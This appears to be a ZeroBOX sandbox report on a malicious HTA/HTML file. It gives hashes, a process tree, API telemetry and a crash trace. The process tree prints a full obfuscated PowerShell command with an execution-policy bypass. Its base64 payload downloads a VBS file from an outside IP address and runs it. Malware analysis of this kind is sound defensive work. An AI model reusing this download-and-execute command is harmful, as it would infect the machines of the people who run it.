Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 16, 2024, 5:34 p.m.	Oct. 16, 2024, 5:37 p.m.

Size	118.6KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`3734b6b1d8a5b84814fa08ce7b1ef6c7`
SHA256	`b2c7816147d7816cf870f2088aa7be410616f1b639214904a56e49e580c89580`
CRC32	`BE75BF8B`
ssdeep	`96:Eam73N7J8BZ7t8BIyEQ2XVVAfUFup/JJ5757N8BnL7i7T:Ea23N7u7nyEQUVA8cb757qL74T`
Yara	Antivirus - Contains references to security software

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\seethebestthingswithmegreatdays.hta.html
1884
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1884 CREDAT:145409
  2252
  - cmd.exe "C:\Windows\system32\cmd.exe" "/c poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"
    1220
    - powershell.exe poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"
      2132
      - csc.exe "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\0lmkrb0q.cmdline"
        2280
        
        cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RES4405.tmp" "c:\Users\test22\AppData\Local\Temp\CSC4397.tmp"
        964

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch
185.29.11.111	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 16, 2024, 5:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 16, 2024, 5:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 16, 2024, 5:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 16, 2024, 5:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 16, 2024, 5:35 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 16, 2024, 5:35 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 16, 2024, 5:35 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 90 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000218510 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80360 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80360 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b803d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b803d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b803d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b803d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80a60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67020 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67020 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67020 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67c60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67c60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b67250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bad9b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bad9b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bad9b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bad9b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bae510 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:35 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bae510 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bbb8b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002bbb8b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b80c90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002e6ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002ed3f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000309090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Oct. 16, 2024, 5:36 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000309090 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 16, 2024, 5:35 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 16, 2024, 5:35 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 107602656 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 107608608 registers.r11: 107604416 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1901359829 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 16, 2024, 5:35 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 107602656
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 107608608
registers.r11: 107604416
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1901359829
registers.r13: 0

Performs some HTTP requests (1 event)

request

GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml

Allocates read-write-execute memory (usually to unpack itself) (50 out of 283 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 region_size: 15011840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002e10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003c60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
